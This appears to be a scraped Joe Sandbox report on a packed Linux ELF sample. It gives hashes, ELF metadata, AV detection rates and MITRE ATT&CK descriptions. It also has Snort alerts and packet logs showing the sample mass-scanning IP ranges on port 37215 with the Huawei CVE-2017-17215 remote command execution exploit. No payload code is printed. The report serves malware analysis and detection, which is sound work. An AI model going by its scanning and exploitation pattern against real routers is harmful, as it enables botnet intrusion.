41.27.126.231	unknown	South Africa	29975	VODACOM-ZA	false
154.248.156.19	unknown	Algeria	36947	ALGTEL-ASDZ	false
102.158.159.135	unknown	Tunisia	37705	TOPNETTN	false
197.12.117.100	unknown	Tunisia	37703	ATLAXTN	false
197.255.13.183	unknown	Nigeria	35074	COBRANET-ASLB	false
102.56.135.23	unknown	Egypt	36992	ETISALAT-MISREG	false
41.131.254.160	unknown	Egypt	24863	LINKdotNET-ASEG	false
154.134.179.153	unknown	Egypt	37069	MOBINILEG	false
102.76.172.183	unknown	Morocco	6713	IAM-ASMA	false
156.48.59.176	unknown	United Kingdom	29975	VODACOM-ZA	false
41.179.39.151	unknown	Egypt	24863	LINKdotNET-ASEG	false
102.40.143.241	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.149.186.147	unknown	South Africa	5713	SAIX-NETZA	false
102.72.163.70	unknown	Morocco	6713	IAM-ASMA	false
156.85.165.199	unknown	United States	10695	WAL-MARTUS	false
41.30.144.251	unknown	South Africa	29975	VODACOM-ZA	false
154.155.93.132	unknown	Kenya	36926	CKL1-ASNKE	false
156.80.19.43	unknown	United States	393649	BOOZ-AS2US	false
41.51.169.87	unknown	South Africa	37168	CELL-CZA	false
197.151.20.192	unknown	Egypt	37069	MOBINILEG	false
102.216.30.80	unknown	unknown	36926	CKL1-ASNKE	false
41.80.99.71	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
154.74.68.104	unknown	Tanzania United Republic of	37035	MIC-ASTZ	false
41.239.14.29	unknown	Egypt	8452	TE-ASTE-ASEG	false
154.245.126.240	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.160.163.9	unknown	Egypt	36992	ETISALAT-MISREG	false
154.131.114.70	unknown	Egypt	37069	MOBINILEG	false
156.55.40.30	unknown	United States	22146	LANDAMUS	false
156.48.59.169	unknown	United Kingdom	29975	VODACOM-ZA	false
197.207.57.210	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.230.19.149	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
197.228.192.238	unknown	South Africa	37251	TELKOMMOBILEZA	false
41.133.122.213	unknown	South Africa	10474	OPTINETZA	false

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
Entropy (8bit):	7.923069223559225
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	3f8dH3KxbO.elf
File size:	24880
MD5:	b2c7b530dda1e86285699cc34666bcf7
SHA1:	5a4fa656800a06fbd556084b2c878469fbe1ce47
SHA256:	792754c6e660335fe22a3099a2953c7d51b9b5c9eb6bed989790393ba1ef8ce9
SHA512:	631e26ad79486e33e7165e956615e806ef844ed5aa8b8c7c55b4466c8919b12e2d787a240e631d252978f8ba4747e9046d297432ce30d0a3f8d267363940f59a
SSDEEP:	768:eM6CVAD/s90GDQIRzaRtcSo73WnbcuyD7URQRjT:YCVA41DQIGRu3Wnouy8Ry3
TLSH:	9BB2E17960A93A15D5EA617A086EBFDF2195C70F520996F3C9F4B6135087FB02C2C0DA
File Content Preview:	.ELF....................@^..4...........4. ...(.....................4`..4`...................g...g..................Q.td.............................-].UPX!........0...0.......T..........?..k.I/.j....\.d*nlz.e..../:..5.KT7S..RmC..G.....O.H..!..g.......C..

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0xc01000	0xc01000	0x6034	0x6034	7.9264	0x5	R E	0x1000
LOAD	0x7e0	0x80567e0	0x80567e0	0x0	0x0	0.0000	0x6	RW	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.2341.35.80.17537350372152835222 03/21/23-03:30:32.951807	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37350	37215	192.168.2.23	41.35.80.175
192.168.2.23156.247.27.18733884372152835222 03/21/23-03:30:43.507431	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33884	37215	192.168.2.23	156.247.27.187
192.168.2.23154.38.230.9548244372152835222 03/21/23-03:30:28.214197	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48244	37215	192.168.2.23	154.38.230.95
192.168.2.23197.246.192.4940868372152835222 03/21/23-03:30:30.427381	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40868	37215	192.168.2.23	197.246.192.49
192.168.2.23156.226.11.10359142372152835222 03/21/23-03:30:48.796217	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59142	37215	192.168.2.23	156.226.11.103
192.168.2.23156.254.44.24551292372152835222 03/21/23-03:30:30.585388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51292	37215	192.168.2.23	156.254.44.245
192.168.2.23154.213.189.7935618372152835222 03/21/23-03:30:38.901778	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35618	37215	192.168.2.23	154.213.189.79
192.168.2.23154.211.47.11446036372152835222 03/21/23-03:30:28.311917	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46036	37215	192.168.2.23	154.211.47.114
192.168.2.23156.254.89.3942060372152835222 03/21/23-03:30:35.326766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42060	37215	192.168.2.23	156.254.89.39
192.168.2.23156.227.245.4649918372152835222 03/21/23-03:30:36.616130	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49918	37215	192.168.2.23	156.227.245.46
192.168.2.2341.236.89.945968372152835222 03/21/23-03:30:35.158451	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45968	37215	192.168.2.23	41.236.89.9
192.168.2.23154.201.25.12433512372152835222 03/21/23-03:30:39.166861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33512	37215	192.168.2.23	154.201.25.124
192.168.2.23154.208.147.24947468372152835222 03/21/23-03:30:26.768093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47468	37215	192.168.2.23	154.208.147.249
192.168.2.2341.43.16.18551276372152835222 03/21/23-03:30:38.721581	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51276	37215	192.168.2.23	41.43.16.185
192.168.2.23156.254.66.6360202372152835222 03/21/23-03:30:39.166793	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60202	37215	192.168.2.23	156.254.66.63
192.168.2.23154.216.21.9338882372152835222 03/21/23-03:30:42.237111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38882	37215	192.168.2.23	154.216.21.93
192.168.2.23156.254.58.12744726372152835222 03/21/23-03:30:39.695821	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44726	37215	192.168.2.23	156.254.58.127

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 21, 2023 03:30:09.430208921 CET	59163	37215	192.168.2.23	102.117.226.144
Mar 21, 2023 03:30:09.430222034 CET	59163	37215	192.168.2.23	197.90.79.144
Mar 21, 2023 03:30:09.430239916 CET	59163	37215	192.168.2.23	41.61.90.46
Mar 21, 2023 03:30:09.430249929 CET	59163	37215	192.168.2.23	156.181.84.173
Mar 21, 2023 03:30:09.430249929 CET	59163	37215	192.168.2.23	102.16.226.226
Mar 21, 2023 03:30:09.430272102 CET	59163	37215	192.168.2.23	197.243.102.118
Mar 21, 2023 03:30:09.430279016 CET	59163	37215	192.168.2.23	156.51.79.51
Mar 21, 2023 03:30:09.430299044 CET	59163	37215	192.168.2.23	41.119.176.5
Mar 21, 2023 03:30:09.430299044 CET	59163	37215	192.168.2.23	41.2.78.237
Mar 21, 2023 03:30:09.430299997 CET	59163	37215	192.168.2.23	41.97.67.210
Mar 21, 2023 03:30:09.430299044 CET	59163	37215	192.168.2.23	154.152.123.150
Mar 21, 2023 03:30:09.430299044 CET	59163	37215	192.168.2.23	197.35.69.44
Mar 21, 2023 03:30:09.430310011 CET	59163	37215	192.168.2.23	156.60.169.37
Mar 21, 2023 03:30:09.430313110 CET	59163	37215	192.168.2.23	154.56.67.123
Mar 21, 2023 03:30:09.430321932 CET	59163	37215	192.168.2.23	102.85.113.51
Mar 21, 2023 03:30:09.430330992 CET	59163	37215	192.168.2.23	197.254.202.192
Mar 21, 2023 03:30:09.430350065 CET	59163	37215	192.168.2.23	156.239.222.148
Mar 21, 2023 03:30:09.430350065 CET	59163	37215	192.168.2.23	197.4.171.210
Mar 21, 2023 03:30:09.430356026 CET	59163	37215	192.168.2.23	41.141.121.75
Mar 21, 2023 03:30:09.430372953 CET	59163	37215	192.168.2.23	102.1.243.85
Mar 21, 2023 03:30:09.430383921 CET	59163	37215	192.168.2.23	41.9.244.14
Mar 21, 2023 03:30:09.430393934 CET	59163	37215	192.168.2.23	154.98.70.82
Mar 21, 2023 03:30:09.430402994 CET	59163	37215	192.168.2.23	197.192.180.126
Mar 21, 2023 03:30:09.430402994 CET	59163	37215	192.168.2.23	197.250.155.177
Mar 21, 2023 03:30:09.430414915 CET	59163	37215	192.168.2.23	41.203.34.45
Mar 21, 2023 03:30:09.430421114 CET	59163	37215	192.168.2.23	102.244.145.141
Mar 21, 2023 03:30:09.430423975 CET	59163	37215	192.168.2.23	41.221.232.101
Mar 21, 2023 03:30:09.430424929 CET	59163	37215	192.168.2.23	156.102.56.179
Mar 21, 2023 03:30:09.430429935 CET	59163	37215	192.168.2.23	41.136.91.13
Mar 21, 2023 03:30:09.430432081 CET	59163	37215	192.168.2.23	156.165.248.247
Mar 21, 2023 03:30:09.430444002 CET	59163	37215	192.168.2.23	154.113.5.253
Mar 21, 2023 03:30:09.430461884 CET	59163	37215	192.168.2.23	41.190.229.146
Mar 21, 2023 03:30:09.430468082 CET	59163	37215	192.168.2.23	102.25.113.245
Mar 21, 2023 03:30:09.430469036 CET	59163	37215	192.168.2.23	154.156.186.86
Mar 21, 2023 03:30:09.430468082 CET	59163	37215	192.168.2.23	41.96.188.161
Mar 21, 2023 03:30:09.430476904 CET	59163	37215	192.168.2.23	41.109.185.151
Mar 21, 2023 03:30:09.430485010 CET	59163	37215	192.168.2.23	102.245.4.42
Mar 21, 2023 03:30:09.430485964 CET	59163	37215	192.168.2.23	197.246.50.82
Mar 21, 2023 03:30:09.430500984 CET	59163	37215	192.168.2.23	197.143.166.246
Mar 21, 2023 03:30:09.430506945 CET	59163	37215	192.168.2.23	41.7.214.130
Mar 21, 2023 03:30:09.430524111 CET	59163	37215	192.168.2.23	102.6.55.102
Mar 21, 2023 03:30:09.430525064 CET	59163	37215	192.168.2.23	154.204.105.227
Mar 21, 2023 03:30:09.430538893 CET	59163	37215	192.168.2.23	197.93.93.61
Mar 21, 2023 03:30:09.430541039 CET	59163	37215	192.168.2.23	154.31.250.159
Mar 21, 2023 03:30:09.430552959 CET	59163	37215	192.168.2.23	154.150.223.183
Mar 21, 2023 03:30:09.430556059 CET	59163	37215	192.168.2.23	41.170.81.91
Mar 21, 2023 03:30:09.430562973 CET	59163	37215	192.168.2.23	102.142.220.65
Mar 21, 2023 03:30:09.430573940 CET	59163	37215	192.168.2.23	154.148.30.50
Mar 21, 2023 03:30:09.430577040 CET	59163	37215	192.168.2.23	156.110.157.209
Mar 21, 2023 03:30:09.430583000 CET	59163	37215	192.168.2.23	156.182.85.8
Mar 21, 2023 03:30:09.430594921 CET	59163	37215	192.168.2.23	102.171.127.4
Mar 21, 2023 03:30:09.430603981 CET	59163	37215	192.168.2.23	197.29.113.74
Mar 21, 2023 03:30:09.430618048 CET	59163	37215	192.168.2.23	197.58.239.24
Mar 21, 2023 03:30:09.430624962 CET	59163	37215	192.168.2.23	156.112.83.26
Mar 21, 2023 03:30:09.430634975 CET	59163	37215	192.168.2.23	197.221.82.179
Mar 21, 2023 03:30:09.430646896 CET	59163	37215	192.168.2.23	102.35.167.66
Mar 21, 2023 03:30:09.430656910 CET	59163	37215	192.168.2.23	41.200.8.153
Mar 21, 2023 03:30:09.430665016 CET	59163	37215	192.168.2.23	156.162.225.25
Mar 21, 2023 03:30:09.430669069 CET	59163	37215	192.168.2.23	197.144.194.77
Mar 21, 2023 03:30:09.430675983 CET	59163	37215	192.168.2.23	197.18.207.100
Mar 21, 2023 03:30:09.430702925 CET	59163	37215	192.168.2.23	156.242.93.65
Mar 21, 2023 03:30:09.430705070 CET	59163	37215	192.168.2.23	156.135.107.99
Mar 21, 2023 03:30:09.430707932 CET	59163	37215	192.168.2.23	154.227.70.251
Mar 21, 2023 03:30:09.430710077 CET	59163	37215	192.168.2.23	41.102.190.78
Mar 21, 2023 03:30:09.430718899 CET	59163	37215	192.168.2.23	197.247.58.157
Mar 21, 2023 03:30:09.430726051 CET	59163	37215	192.168.2.23	156.186.205.172
Mar 21, 2023 03:30:09.430737019 CET	59163	37215	192.168.2.23	197.144.122.242
Mar 21, 2023 03:30:09.430748940 CET	59163	37215	192.168.2.23	154.176.153.10
Mar 21, 2023 03:30:09.430763006 CET	59163	37215	192.168.2.23	102.62.156.242
Mar 21, 2023 03:30:09.430768967 CET	59163	37215	192.168.2.23	41.13.82.253
Mar 21, 2023 03:30:09.430779934 CET	59163	37215	192.168.2.23	154.111.3.68
Mar 21, 2023 03:30:09.430784941 CET	59163	37215	192.168.2.23	156.87.43.223
Mar 21, 2023 03:30:09.430794954 CET	59163	37215	192.168.2.23	41.128.20.47
Mar 21, 2023 03:30:09.430799007 CET	59163	37215	192.168.2.23	156.114.55.185
Mar 21, 2023 03:30:09.430810928 CET	59163	37215	192.168.2.23	154.69.198.227
Mar 21, 2023 03:30:09.430814028 CET	59163	37215	192.168.2.23	41.137.106.141
Mar 21, 2023 03:30:09.430819988 CET	59163	37215	192.168.2.23	154.200.134.84
Mar 21, 2023 03:30:09.430828094 CET	59163	37215	192.168.2.23	154.204.131.103
Mar 21, 2023 03:30:09.430830956 CET	59163	37215	192.168.2.23	102.63.207.122
Mar 21, 2023 03:30:09.430839062 CET	59163	37215	192.168.2.23	156.132.174.44
Mar 21, 2023 03:30:09.430845022 CET	59163	37215	192.168.2.23	41.31.214.76
Mar 21, 2023 03:30:09.430850029 CET	59163	37215	192.168.2.23	102.86.247.204
Mar 21, 2023 03:30:09.430860996 CET	59163	37215	192.168.2.23	102.43.181.49
Mar 21, 2023 03:30:09.430861950 CET	59163	37215	192.168.2.23	197.34.203.205
Mar 21, 2023 03:30:09.430871964 CET	59163	37215	192.168.2.23	102.142.179.90
Mar 21, 2023 03:30:09.430880070 CET	59163	37215	192.168.2.23	154.40.21.187
Mar 21, 2023 03:30:09.430891991 CET	59163	37215	192.168.2.23	102.226.171.83
Mar 21, 2023 03:30:09.430897951 CET	59163	37215	192.168.2.23	197.151.10.125
Mar 21, 2023 03:30:09.430905104 CET	59163	37215	192.168.2.23	154.121.67.157
Mar 21, 2023 03:30:09.430913925 CET	59163	37215	192.168.2.23	154.220.43.168
Mar 21, 2023 03:30:09.430918932 CET	59163	37215	192.168.2.23	41.189.180.59
Mar 21, 2023 03:30:09.430918932 CET	59163	37215	192.168.2.23	156.59.56.23
Mar 21, 2023 03:30:09.430923939 CET	59163	37215	192.168.2.23	197.17.185.12
Mar 21, 2023 03:30:09.430937052 CET	59163	37215	192.168.2.23	102.178.246.139
Mar 21, 2023 03:30:09.430941105 CET	59163	37215	192.168.2.23	154.70.64.105
Mar 21, 2023 03:30:09.430946112 CET	59163	37215	192.168.2.23	41.19.82.45
Mar 21, 2023 03:30:09.430958986 CET	59163	37215	192.168.2.23	197.92.103.90
Mar 21, 2023 03:30:09.430962086 CET	59163	37215	192.168.2.23	197.157.124.82
Mar 21, 2023 03:30:09.430973053 CET	59163	37215	192.168.2.23	154.90.43.51
Mar 21, 2023 03:30:09.430975914 CET	59163	37215	192.168.2.23	154.105.26.110

System Behavior

Analysis Process: 3f8dH3KxbO.elf PID: 6229, Parent PID: 6131

General

Start time:	03:30:08
Start date:	21/03/2023
Path:	/tmp/3f8dH3KxbO.elf
Arguments:	/tmp/3f8dH3KxbO.elf
File size:	24880 bytes
MD5 hash:	b2c7b530dda1e86285699cc34666bcf7

Analysis Process: 3f8dH3KxbO.elf PID: 6230, Parent PID: 6229

General

Start time:	03:30:08
Start date:	21/03/2023
Path:	/tmp/3f8dH3KxbO.elf
Arguments:	n/a
File size:	24880 bytes
MD5 hash:	b2c7b530dda1e86285699cc34666bcf7

Analysis Process: 3f8dH3KxbO.elf PID: 6232, Parent PID: 6229

General

Start time:	03:30:08
Start date:	21/03/2023
Path:	/tmp/3f8dH3KxbO.elf
Arguments:	n/a
File size:	24880 bytes
MD5 hash:	b2c7b530dda1e86285699cc34666bcf7

Analysis Process: 3f8dH3KxbO.elf PID: 6233, Parent PID: 6232

General

Start time:	03:30:08
Start date:	21/03/2023
Path:	/tmp/3f8dH3KxbO.elf
Arguments:	n/a
File size:	24880 bytes
MD5 hash:	b2c7b530dda1e86285699cc34666bcf7

Source: 3f8dH3KxbO.elf	ReversingLabs: Detection: 46%
Source: 3f8dH3KxbO.elf	Virustotal: Detection: 41%			Perma Link

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47468 -> 154.208.147.249:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48244 -> 154.38.230.95:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46036 -> 154.211.47.114:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40868 -> 197.246.192.49:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51292 -> 156.254.44.245:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37350 -> 41.35.80.175:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45968 -> 41.236.89.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42060 -> 156.254.89.39:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:49918 -> 156.227.245.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51276 -> 41.43.16.185:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35618 -> 154.213.189.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60202 -> 156.254.66.63:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33512 -> 154.201.25.124:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44726 -> 156.254.58.127:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38882 -> 154.216.21.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33884 -> 156.247.27.187:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59142 -> 156.226.11.103:37215

Source: global traffic	TCP traffic: 197.128.241.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.156.104.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.6.127.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.38.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.7.75.150 ports 1,2,3,5,7,37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: 3f8dH3KxbO.elf, 6229.1.0000000008048000.0000000008056000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 3f8dH3KxbO.elf, 6229.1.0000000008048000.0000000008056000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 3f8dH3KxbO.elf	String found in binary or memory: http://upx.sf.net

Source: unknown	TCP traffic detected without corresponding DNS query: 102.117.226.144
Source: unknown	TCP traffic detected without corresponding DNS query: 197.90.79.144
Source: unknown	TCP traffic detected without corresponding DNS query: 41.61.90.46
Source: unknown	TCP traffic detected without corresponding DNS query: 156.181.84.173
Source: unknown	TCP traffic detected without corresponding DNS query: 102.16.226.226
Source: unknown	TCP traffic detected without corresponding DNS query: 197.243.102.118
Source: unknown	TCP traffic detected without corresponding DNS query: 156.51.79.51
Source: unknown	TCP traffic detected without corresponding DNS query: 41.119.176.5
Source: unknown	TCP traffic detected without corresponding DNS query: 41.2.78.237
Source: unknown	TCP traffic detected without corresponding DNS query: 41.97.67.210
Source: unknown	TCP traffic detected without corresponding DNS query: 154.152.123.150
Source: unknown	TCP traffic detected without corresponding DNS query: 197.35.69.44
Source: unknown	TCP traffic detected without corresponding DNS query: 156.60.169.37
Source: unknown	TCP traffic detected without corresponding DNS query: 154.56.67.123
Source: unknown	TCP traffic detected without corresponding DNS query: 102.85.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 197.254.202.192
Source: unknown	TCP traffic detected without corresponding DNS query: 156.239.222.148
Source: unknown	TCP traffic detected without corresponding DNS query: 197.4.171.210
Source: unknown	TCP traffic detected without corresponding DNS query: 41.141.121.75
Source: unknown	TCP traffic detected without corresponding DNS query: 102.1.243.85
Source: unknown	TCP traffic detected without corresponding DNS query: 41.9.244.14
Source: unknown	TCP traffic detected without corresponding DNS query: 154.98.70.82
Source: unknown	TCP traffic detected without corresponding DNS query: 197.192.180.126
Source: unknown	TCP traffic detected without corresponding DNS query: 197.250.155.177
Source: unknown	TCP traffic detected without corresponding DNS query: 41.203.34.45
Source: unknown	TCP traffic detected without corresponding DNS query: 102.244.145.141
Source: unknown	TCP traffic detected without corresponding DNS query: 41.221.232.101
Source: unknown	TCP traffic detected without corresponding DNS query: 156.102.56.179
Source: unknown	TCP traffic detected without corresponding DNS query: 41.136.91.13
Source: unknown	TCP traffic detected without corresponding DNS query: 156.165.248.247
Source: unknown	TCP traffic detected without corresponding DNS query: 154.113.5.253
Source: unknown	TCP traffic detected without corresponding DNS query: 41.190.229.146
Source: unknown	TCP traffic detected without corresponding DNS query: 102.25.113.245
Source: unknown	TCP traffic detected without corresponding DNS query: 154.156.186.86
Source: unknown	TCP traffic detected without corresponding DNS query: 41.96.188.161
Source: unknown	TCP traffic detected without corresponding DNS query: 41.109.185.151
Source: unknown	TCP traffic detected without corresponding DNS query: 102.245.4.42
Source: unknown	TCP traffic detected without corresponding DNS query: 197.246.50.82
Source: unknown	TCP traffic detected without corresponding DNS query: 197.143.166.246
Source: unknown	TCP traffic detected without corresponding DNS query: 41.7.214.130
Source: unknown	TCP traffic detected without corresponding DNS query: 102.6.55.102
Source: unknown	TCP traffic detected without corresponding DNS query: 154.204.105.227
Source: unknown	TCP traffic detected without corresponding DNS query: 197.93.93.61
Source: unknown	TCP traffic detected without corresponding DNS query: 154.31.250.159
Source: unknown	TCP traffic detected without corresponding DNS query: 154.150.223.183
Source: unknown	TCP traffic detected without corresponding DNS query: 41.170.81.91
Source: unknown	TCP traffic detected without corresponding DNS query: 102.142.220.65
Source: unknown	TCP traffic detected without corresponding DNS query: 154.148.30.50
Source: unknown	TCP traffic detected without corresponding DNS query: 156.182.85.8
Source: unknown	TCP traffic detected without corresponding DNS query: 102.171.127.4

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 3f8dH3KxbO.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: 3f8dH3KxbO.elf PID: 6229, Parent PID: 6131

General

Analysis Process: 3f8dH3KxbO.elf PID: 6230, Parent PID: 6229

General

Analysis Process: 3f8dH3KxbO.elf PID: 6232, Parent PID: 6229

General

Analysis Process: 3f8dH3KxbO.elf PID: 6233, Parent PID: 6232

General

Linux Analysis Report
3f8dH3KxbO.elf